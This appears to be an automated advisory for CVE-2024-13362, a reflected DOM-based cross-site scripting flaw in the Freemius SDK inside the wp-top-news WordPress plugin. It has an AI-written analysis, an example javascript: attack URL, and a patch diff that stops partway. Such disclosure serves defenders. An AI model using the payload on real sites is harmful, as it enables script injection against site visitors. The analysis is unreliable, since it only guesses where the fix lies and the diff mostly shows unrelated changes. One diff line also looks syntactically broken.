Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 9, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (wp-top-news)

Plugin wp-top-news
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.4.1
Patched Version 2.4.3
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This vulnerability is a Reflected DOM-Based Cross-Site Scripting (XSS) in the Freemius SDK, versions <= 2.10.1. The issue exists in the 'url' parameter handling, allowing unauthenticated attackers to inject arbitrary web scripts. The vulnerability is triggered when a user interacts with a crafted link, leading to script execution within the browser's DOM context.

Root Cause: The core issue stems from insufficient input sanitization and output escaping of the 'url' parameter within the Freemius SDK. The vulnerability is present in the 'class-freemius.php' file, specifically in functions that process URL parameters for redirects or opt-in flows. The diff shows changes related to parameter handling in functions like 'opt_in', 'get_opt_in_params', and 'addons_opt_in_or_install', where user-supplied URLs are directly used without proper validation, allowing DOM-based injection.

Exploitation: An attacker can craft a malicious URL that includes a JavaScript payload in the 'url' parameter. For example, the attacker sends a link to a victim like: 'https://victim-site.com/?url=javascript:alert(1)'. If the Freemius SDK processes this 'url' parameter without sanitization and writes it to the DOM (e.g., in a redirect or script tag), the JavaScript payload executes. The attack requires user interaction, such as clicking the link, to trigger the script.

Patch Analysis: The patch addresses the vulnerability by modifying how parameters like 'url' are handled. The diff shows changes to functions 'opt_in' and 'get_opt_in_params' to better control when user information is included, but the critical fix for the XSS is likely in how the 'url' parameter is encoded or sanitized before output. The patch also introduces a new 'skip_user_info' parameter and restructures how data is passed to prevent direct injection of user-controlled values into DOM contexts.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since the attack is reflected, it does not persist on the server, but the potential for phishing and data theft is significant.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-top-news/freemius/includes/class-freemius.php
+++ b/wp-top-news/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -3598,7 +3629,7 @@

             $this->delete_current_install( false );

-            $license_key = false;
+            $license = null;

             if (
                 is_object( $this->_license ) &&
@@ -3606,20 +3637,21 @@
                     ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( self::get_unfiltered_site_url() ) )
                 )
             ) {
-                $license_key = $this->_license->secret_key;
+                $license = $this->_license;
             }

             return $this->opt_in(
                 false,
                 false,
                 false,
-                $license_key,
+                ( is_object( $license ) ? $license->secret_key : false ),
                 false,
                 false,
                 false,
                 null,
                 array(),
-                false
+                false,
+                ( is_object( $license ) ? $license->user_id : null )
             );
         }

@@ -4463,33 +4495,31 @@
                 return;
             }

-            if ( $this->has_api_connectivity() ) {
-                if ( self::is_cron() ) {
-                    $this->hook_callback_to_sync_cron();
-                } else if ( $this->is_user_in_admin() ) {
-                    /**
-                     * Schedule daily data sync cron if:
-                     *
-                     *  1. User opted-in (for tracking).
-                     *  2. If skipped, but later upgraded (opted-in via upgrade).
-                     *
-                     * @author Vova Feldman (@svovaf)
-                     * @since  1.1.7.3
-                     *
-                     */
-                    if ( $this->is_registered() && $this->is_tracking_allowed() ) {
-                        $this->maybe_schedule_sync_cron();
-                    }
+            $this->hook_callback_to_sync_cron();

-                    /**
-                     * Check if requested for manual blocking background sync.
-                     */
-                    if ( fs_request_has( 'background_sync' ) ) {
-                        self::require_pluggable_essentials();
-                        self::wp_cookie_constants();
+            if ( $this->has_api_connectivity() && ! self::is_cron() && $this->is_user_in_admin() ) {
+                /**
+                 * Schedule daily data sync cron if:
+                 *
+                 *  1. User opted-in (for tracking).
+                 *  2. If skipped, but later upgraded (opted-in via upgrade).
+                 *
+                 * @author Vova Feldman (@svovaf)
+                 * @since  1.1.7.3
+                 *
+                 */
+                if ( $this->is_registered() && $this->is_tracking_allowed() ) {
+                    $this->maybe_schedule_sync_cron();
+                }

-                        $this->run_manual_sync();
-                    }
+                /**
+                 * Check if requested for manual blocking background sync.
+                 */
+                if ( fs_request_has( 'background_sync' ) ) {
+                    self::require_pluggable_essentials();
+                    self::wp_cookie_constants();
+
+                    $this->run_manual_sync();
                 }
             }

@@ -5155,11 +5185,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5221,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5290,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5505,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6569,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6693,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7483,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7497,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -7586,7 +7658,14 @@
                     $parent_fs->get_current_or_network_user()->email,
                     false,
                     false,
-                    $license->secret_key
+                    $license->secret_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license->user_id
                 );
             } else {
                 // Activate the license.
@@ -7650,7 +7729,9 @@
                     false,
                     false,
                     null,
-                    $sites
+                    $sites,
+                    true,
+                    $license->user_id
                 );
             } else {
                 $blog_2_install_map = array();
@@ -7704,7 +7785,7 @@
          * @param array             $sites
          * @param int               $blog_id
          */
-        private function maybe_activate_bundle_license( FS_Plugin_License $license = null, $sites = array(), $blog_id = 0 ) {
+        private function maybe_activate_bundle_license( $license = null, $sites = array(), $blog_id = 0 ) {
             if ( ! is_object( $license ) && $this->has_active_valid_license() ) {
                 $license = $this->_license;
             }
@@ -7876,7 +7957,8 @@
                     null,
                     null,
                     $sites,
-                    ( $current_blog_id > 0 ? $current_blog_id : null )
+                    ( $current_blog_id > 0 ? $current_blog_id : null ),
+                    $license->user_id
                 );
             }
         }
@@ -8616,7 +8698,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -8757,8 +8839,13 @@
                      isset( $site_active_plugins[ $basename ] )
                 ) {
                     // Plugin was site level activated.
-                    $site_active_plugins_cache->plugins[ $basename ]              = $network_plugins[ $basename ];
-                    $site_active_plugins_cache->plugins[ $basename ]['is_active'] = true;
+                    $site_active_plugins_cache->plugins[ $basename ] = array(
+                        'slug'           => $network_plugins[ $basename ]['slug'],
+                        'version'        => $network_plugins[ $basename ]['Version'],
+                        'title'          => $network_plugins[ $basename ]['Name'],
+                        'is_active'      => $is_active,
+                        'is_uninstalled' => false,
+                    );
                 } else if ( isset( $site_active_plugins_cache->plugins[ $basename ] ) &&
                             ! isset( $site_active_plugins[ $basename ] )
                 ) {
@@ -11503,7 +11590,7 @@
                         continue;
                     }

-                    $missing_plan = self::_get_plan_by_id( $plan_id );
+                    $missing_plan = self::_get_plan_by_id( $plan_id, false );

                     if ( is_object( $missing_plan ) ) {
                         $plans[] = $missing_plan;
@@ -11665,10 +11752,10 @@
          *
          * @return FS_Plugin_Plan|false
          */
-        function _get_plan_by_id( $id ) {
+        function _get_plan_by_id( $id, $allow_sync = true ) {
             $this->_logger->entrance();

-            if ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) {
+            if ( $allow_sync && ( ! is_array( $this->_plans ) || 0 === count( $this->_plans ) ) ) {
                 $this->_sync_plans();
             }

@@ -12312,7 +12399,7 @@
          *
          * @param FS_Plugin_License $license
          */
-        private function set_license( FS_Plugin_License $license = null ) {
+        private function set_license( $license = null ) {
             $this->_license = $license;

             $this->maybe_update_whitelabel_flag( $license );
@@ -13412,7 +13499,8 @@
                 fs_request_get( 'module_id', null, 'post' ),
                 fs_request_get( 'user_id', null ),
                 fs_request_get_bool( 'is_extensions_tracking_allowed', null ),
-                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null )
+                fs_request_get_bool( 'is_diagnostic_tracking_allowed', null ),
+                fs_request_get( 'license_owner_id', null )
             );

             if (
@@ -13561,6 +13649,7 @@
          * @param null|number $plugin_id
          * @param array       $sites
          * @param int         $blog_id
+         * @param null|number $license_owner_id
          *
          * @return array {
          *      @var bool   $success
@@ -13575,7 +13664,8 @@
             $is_marketing_allowed = null,
             $plugin_id = null,
             $sites = array(),
-            $blog_id = null
+            $blog_id = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13586,7 +13676,11 @@
                     $sites,
                 $is_marketing_allowed,
                 $blog_id,
-                $plugin_id
+                $plugin_id,
+                null,
+                null,
+                null,
+                $license_owner_id
             );

             // No need to show the sticky after license activation notice after migrating a license.
@@ -13660,9 +13754,10 @@
          * @param null|bool   $is_marketing_allowed
          * @param null|int    $blog_id
          * @param null|number $plugin_id
-         * @param null|number $license_owner_id
+         * @param null|number $user_id
          * @param bool|null   $is_extensions_tracking_allowed
          * @param bool|null   $is_diagnostic_tracking_allowed Since 2.5.0.2 to allow license activation with minimal data footprint.
+         * @param null|number $license_owner_id
          *
          *
          * @return array {
@@ -13677,9 +13772,10 @@
             $is_marketing_allowed = null,
             $blog_id = null,
             $plugin_id = null,
-            $license_owner_id = null,
+            $user_id = null,
             $is_extensions_tracking_allowed = null,
-            $is_diagnostic_tracking_allowed = null
+            $is_diagnostic_tracking_allowed = null,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

@@ -13768,10 +13864,10 @@

                         $install_ids = array();

-                        $change_owner = FS_User::is_valid_id( $license_owner_id );
+                        $change_owner = FS_User::is_valid_id( $user_id );

                         if ( $change_owner ) {
-                            $params['user_id'] = $license_owner_id;
+                            $params['user_id'] = $user_id;

                             $installs_info_by_slug_map = $fs->get_parent_and_addons_installs_info();

@@ -13847,7 +13943,9 @@
                     false,
                     false,
                     $is_marketing_allowed,
-                    $sites
+                    $sites,
+                    true,
+                    $license_owner_id
                 );

                 if ( isset( $next_page->error ) ) {
@@ -15557,7 +15655,7 @@
          *
          * @return bool Since 2.3.1 returns if a switch was made.
          */
-        function switch_to_blog( $blog_id, FS_Site $install = null, $flush = false ) {
+        function switch_to_blog( $blog_id, $install = null, $flush = false ) {
             if ( ! is_numeric( $blog_id ) ) {
                 return false;
             }
@@ -15684,6 +15782,10 @@
         function get_site_info( $site = null, $load_registration = false ) {
             $this->_logger->entrance();

+            $fs_hook_snapshot = new FS_Hook_Snapshot();
+            // Remove all filters from `switch_blog`.
+            $fs_hook_snapshot->remove( 'switch_blog' );
+
             $switched = false;

             $registration_date = null;
@@ -15743,6 +15845,9 @@
                 restore_current_blog();
             }

+            // Add the filters back to `switch_blog`.
+            $fs_hook_snapshot->restore( 'switch_blog' );
+
             return $info;
         }

@@ -15974,7 +16079,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -16863,14 +16968,13 @@
          *
          * @param array         $override_with
          * @param bool|int|null $network_level_or_blog_id If true, return params for network level opt-in. If integer, get params for specified blog in the network.
+         * @param bool          $skip_user_info
          *
          * @return array
          */
-        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null ) {
+        function get_opt_in_params( $override_with = array(), $network_level_or_blog_id = null, $skip_user_info = false ) {
             $this->_logger->entrance();

-            $current_user = self::_get_current_wp_user();
-
             $activation_action = $this->get_unique_affix() . '_activate_new';
             $return_url        = $this->is_anonymous() ?
                 // If skipped already, then return to the account page.
@@ -16881,9 +16985,6 @@
             $versions = $this->get_versions();

             $params = array_merge( $versions, array(
-                'user_firstname'    => $current_user->user_firstname,
-                'user_lastname'     => $current_user->user_lastname,
-                'user_email'        => $current_user->user_email,
                 'plugin_slug'       => $this->_slug,
                 'plugin_id'         => $this->get_id(),
                 'plugin_public_key' => $this->get_public_key(),
@@ -16899,6 +17000,21 @@
                 'is_localhost'      => WP_FS__IS_LOCALHOST,
             ) );

+            if (
+                ! $skip_user_info &&
+                (
+                    empty( $override_with['user_firstname'] ) ||
+                    empty( $override_with['user_lastname'] ) ||
+                    empty( $override_with['user_email'] )
+                )
+            ) {
+                $current_user = self::_get_current_wp_user();
+
+                $params['user_firstname'] = $current_user->user_firstname;
+                $params['user_lastname']  = $current_user->user_lastname;
+                $params['user_email']     = $current_user->user_email;
+            }
+
             if ( $this->is_addon() ) {
                 $parent_fs = $this->get_parent_instance();

@@ -16978,6 +17094,7 @@
          * @param null|bool   $is_marketing_allowed
          * @param array       $sites                If network-level opt-in, an array of containing details of sites.
          * @param bool        $redirect
+         * @param null|number $license_owner_id
          *
          * @return string|object
          * @use    WP_Error
@@ -16992,15 +17109,11 @@
             $is_disconnected = false,
             $is_marketing_allowed = null,
             $sites = array(),
-            $redirect = true
+            $redirect = true,
+            $license_owner_id = null
         ) {
             $this->_logger->entrance();

-            if ( false === $email ) {
-                $current_user = self::_get_current_wp_user();
-                $email        = $current_user->user_email;
-            }
-
             /**
              * @since 1.2.1 If activating with license key, ignore the context-user
              *              since the user will be automatically loaded from the license.
@@ -17010,6 +17123,11 @@
                 $this->_storage->remove( 'pending_license_key' );

                 if ( ! $is_uninstall ) {
+                    if ( false === $email ) {
+                        $current_user = self::_get_current_wp_user();
+                        $email        = $current_user->user_email;
+                    }
+
                     $fs_user = Freemius::_get_user_by_email( $email );
                     if ( is_object( $fs_user ) && ! $this->is_pending_activation() ) {
                         return $this->install_with_user(
@@ -17024,15 +17142,22 @@
                 }
             }

+            $skip_user_info = ( ! empty( $license_key ) && FS_User::is_valid_id( $license_owner_id ) );
+
             $user_info = array();
-            if ( ! empty( $email ) ) {
-                $user_info['user_email'] = $email;
-            }
-            if ( ! empty( $first ) ) {
-                $user_info['user_firstname'] = $first;
-            }
-            if ( ! empty( $last ) ) {
-                $user_info['user_lastname'] = $last;
+
+            if ( ! $skip_user_info ) {
+                if ( ! empty( $email ) ) {
+               	    $user_info['user_email'] = $email;
+                }
+
+                if ( ! empty( $first ) ) {
+               	    $user_info['user_firstname'] = $first;
+                }
+
+                if ( ! empty( $last ) ) {
+               	    $user_info['user_lastname'] = $last;
+                }
             }

             if ( ! empty( $sites ) ) {
@@ -17043,7 +17168,7 @@
                 $is_network = false;
             }

-            $params = $this->get_opt_in_params( $user_info, $is_network );
+            $params = $this->get_opt_in_params( $user_info, $is_network, $skip_user_info );

             $filtered_license_key = false;
             if ( is_string( $license_key ) ) {
@@ -18039,7 +18164,7 @@
         private function _activate_addon_account(
             Freemius $parent_fs,
             $network_level_or_blog_id = null,
-            FS_Plugin_License $bundle_license = null
+            $bundle_license = null
         ) {
             if ( $this->is_registered() ) {
                 // Already activated.
@@ -18672,7 +18797,7 @@
          * @return bool
          */
         function is_pricing_page_visible() {
-            return (
+            $visible = (
                 // Has at least one paid plan.
                 $this->has_paid_plan() &&
                 // Didn't ask to hide the pricing page.
@@ -18680,6 +18805,8 @@
                 // Don't have a valid active license or has more than one plan.
                 ( ! $this->is_paying() || ! $this->is_single_plan( true ) )
             );
+
+            return $this->apply_filters( 'is_pricing_page_visible', $visible );
         }

         /**
@@ -19635,7 +19762,7 @@
          * @param null|int $network_level_or_blog_id Since 2.0.0
          * @param FS_Site $site                     Since 2.0.0
          */
-        private function _store_site( $store = true, $network_level_or_blog_id = null, FS_Site $site = null, $is_backup = false ) {
+        private function _store_site( $store = true, $network_level_or_blog_id = null, $site = null, $is_backup = false ) {
             $this->_logger->entrance();

             if ( is_null( $site ) ) {
@@ -20488,11 +20615,18 @@
          * @param bool        $flush      Since 1.1.7.3
          * @param int         $expiration Since 1.2.2.7
          * @param bool|string $newer_than Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false New plugin tag info if exist.
          */
-        private function _fetch_newer_version( $plugin_id = false, $flush = true, $expiration = WP_FS__TIME_24_HOURS_IN_SEC, $newer_than = false ) {
-            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than );
+        private function _fetch_newer_version(
+            $plugin_id = false,
+            $flush = true,
+            $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
+            $newer_than = false,
+            $fetch_upgrade_notice = true
+        ) {
+            $latest_tag = $this->_fetch_latest_version( $plugin_id, $flush, $expiration, $newer_than, false, $fetch_upgrade_notice );

             if ( ! is_object( $latest_tag ) ) {
                 return false;
@@ -20525,19 +20659,18 @@
          *
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          *
          * @return bool|FS_Plugin_Tag
          */
-        function get_update( $plugin_id = false, $flush = true, $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION, $newer_than = false ) {
+        function get_update( $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

             if ( ! is_numeric( $plugin_id ) ) {
                 $plugin_id = $this->_plugin->id;
             }

-            $this->check_updates( true, $plugin_id, $flush, $expiration, $newer_than );
+            $this->check_updates( true, $plugin_id, $flush );
+
             $updates = $this->get_all_updates();

             return isset( $updates[ $plugin_id ] ) && is_object( $updates[ $plugin_id ] ) ? $updates[ $plugin_id ] : false;
@@ -21475,7 +21608,14 @@
                         false,
                         false,
                         false,
-                        $premium_license->secret_key
+                        $premium_license->secret_key,
+                        false,
+                        false,
+                        false,
+                        null,
+                        array(),
+                        true,
+                        $premium_license->user_id
                     );

                     return;
@@ -21987,6 +22127,7 @@
          * @param int         $expiration   Since 1.2.2.7
          * @param bool|string $newer_than   Since 2.2.1
          * @param bool|string $fetch_readme Since 2.2.1
+         * @param bool        $fetch_upgrade_notice Since 2.12.1
          *
          * @return object|false Plugin latest tag info.
          */
@@ -21995,7 +22136,8 @@
             $flush = true,
             $expiration = WP_FS__TIME_24_HOURS_IN_SEC,
             $newer_than = false,
-            $fetch_readme = true
+            $fetch_readme = true,
+            $fetch_upgrade_notice = false
         ) {
             $this->_logger->entrance();

@@ -22068,6 +22210,10 @@
                 $expiration = null;
             }

+            if ( true === $fetch_upgrade_notice ) {
+                $latest_version_endpoint = add_query_arg( 'include_upgrade_notice', 'true', $latest_version_endpoint );
+            }
+
             $tag = $this->get_api_site_or_plugin_scope()->get(
                 $latest_version_endpoint,
                 $flush,
@@ -22213,20 +22359,20 @@
          *                                was initiated by the admin.
          * @param bool|number $plugin_id
          * @param bool        $flush      Since 1.1.7.3
-         * @param int         $expiration Since 1.2.2.7
-         * @param bool|string $newer_than Since 2.2.1
          */
-        private function check_updates(
-            $background = false,
-            $plugin_id = false,
-            $flush = true,
-            $expiration = FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-            $newer_than = false
-        ) {
+        private function check_updates( $background = false, $plugin_id = false, $flush = true ) {
             $this->_logger->entrance();

+            $newer_than = ( $this->is_premium() ? $this->get_plugin_version() : false );
+
             // Check if there's a newer version for download.
-            $new_version = $this->_fetch_newer_version( $plugin_id, $flush, $expiration, $newer_than );
+            $new_version = $this->_fetch_newer_version(
+                $plugin_id,
+                $flush,
+                FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
+                $newer_than,
+                ( false !== $newer_than )
+            );

             $update = null;
             if ( is_object( $new_version ) ) {
@@ -23371,7 +23517,7 @@
                         $params['plugin_public_key'] = $this->get_public_key();
                     }

-                    $result = $api->get( 'pricing.json?' . http_build_query( $params ) );
+                    $result = $api->get( $this->add_show_pending( 'pricing.json?' . http_build_query( $params ) ) );
                     break;
                 case 'start_trial':
                     $trial_plan_id = fs_request_get( 'plan_id' );
@@ -23927,13 +24073,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -24550,23 +24698,39 @@
                     $this->get_premium_slug() :
                     $this->premium_plugin_basename();

-                return sprintf(
-                /* translators: %1$s: Product title; %2$s: Plan title */
-                    $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s', 'activate-premium-version' ),
-                    sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
-                    $plan_title,
-                    sprintf(
-                        '<a style="margin-left: 10px;" href="%s"><button class="button button-primary">%s</button></a>',
-                        ( $this->is_theme() ?
-                            wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) :
-                            wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ),
-                        esc_html( sprintf(
-                        /* translators: %s: Plan title */
-                            $this->get_text_inline( 'Activate %s features', 'activate-x-features' ),
-                            $plan_title
-                        ) )
-                    )
-                );
+                if ( is_admin() ) {
+                    return sprintf(
+                        /* translators: %1$s: Product title; %2$s: Plan title */
+                        $this->get_text_inline( ' The paid version of %1$s is already installed. Please activate it to start benefiting from the %2$s features. %3$s', 'activate-premium-version' ),
+                        sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
+                        $plan_title,
+                        sprintf(
+                            '<a style="margin-left: 10px;" href="%s"><button class="button button-primary">%s</button></a>',
+                            ( $this->is_theme() ?
+                                wp_nonce_url( 'themes.php?action=activate&stylesheet=' . $premium_theme_slug_or_plugin_basename, 'switch-theme_' . $premium_theme_slug_or_plugin_basename ) :
+                                wp_nonce_url( 'plugins.php?action=activate&plugin=' . $premium_theme_slug_or_plugin_basename, 'activate-plugin_' . $premium_theme_slug_or_plugin_basename ) ),
+                            esc_html( sprintf(
+                            /* translators: %s: Plan title */
+                                $this->get_text_inline( 'Activate %s features', 'activate-x-features' ),
+                                $plan_title
+                            ) )
+                        )
+                    );
+                } else {
+                    return sprintf(
+                        /* translators: %1$s: Product title; %3$s: Plan title */
+                        $this->get_text_inline( ' The paid version of %1$s is already installed. Please navigate to the %2$s to activate it and start benefiting from the %3$s features.', 'activate-premium-version-plugins-page' ),
+                        sprintf( '<em>%s</em>', esc_html( $this->get_plugin_title() ) ),
+                        sprintf(
+                            '<a href="%s">%s</a>',
+                            admin_url( $this->is_theme() ? 'themes.php' : 'plugins.php' ),
+                            ( $this->is_theme() ?
+                                $this->get_text_inline( 'Themes page', 'themes-page' ) :
+                                $this->get_text_inline( 'Plugins page', 'plugins-page' ) )
+                        ),
+                        $plan_title
+                    );
+                }
             } else {
                 // @since 1.2.1.5 The free version is auto deactivated.
                 $deactivation_step = version_compare( $this->version, '1.2.1.5', '<' ) ?
@@ -25403,7 +25567,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/wp-top-news/freemius/includes/class-fs-hook-snapshot.php
+++ b/wp-top-news/freemius/includes/class-fs-hook-snapshot.php
@@ -0,0 +1,45 @@
+<?php
+	/**
+	 * @package   Freemius
+	 * @copyright Copyright (c) 2025, Freemius, Inc.
+	 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
+	 * @since     2.12.2
+	 */
+
+	if ( ! defined( 'ABSPATH' ) ) {
+		exit;
+	}
+
+	/**
+	 * Class FS_Hook_Snapshot
+	 *
+	 * This class allows you to take a snapshot of the current actions attached to a WordPress hook, remove them, and restore them later.
+	 */
+	class FS_Hook_Snapshot {
+
+		private $removed_actions = array();
+
+		/**
+		 * Remove all actions from a given hook and store them for later restoration.
+		 */
+		public function remove( $hook ) {
+			global $wp_filter;
+
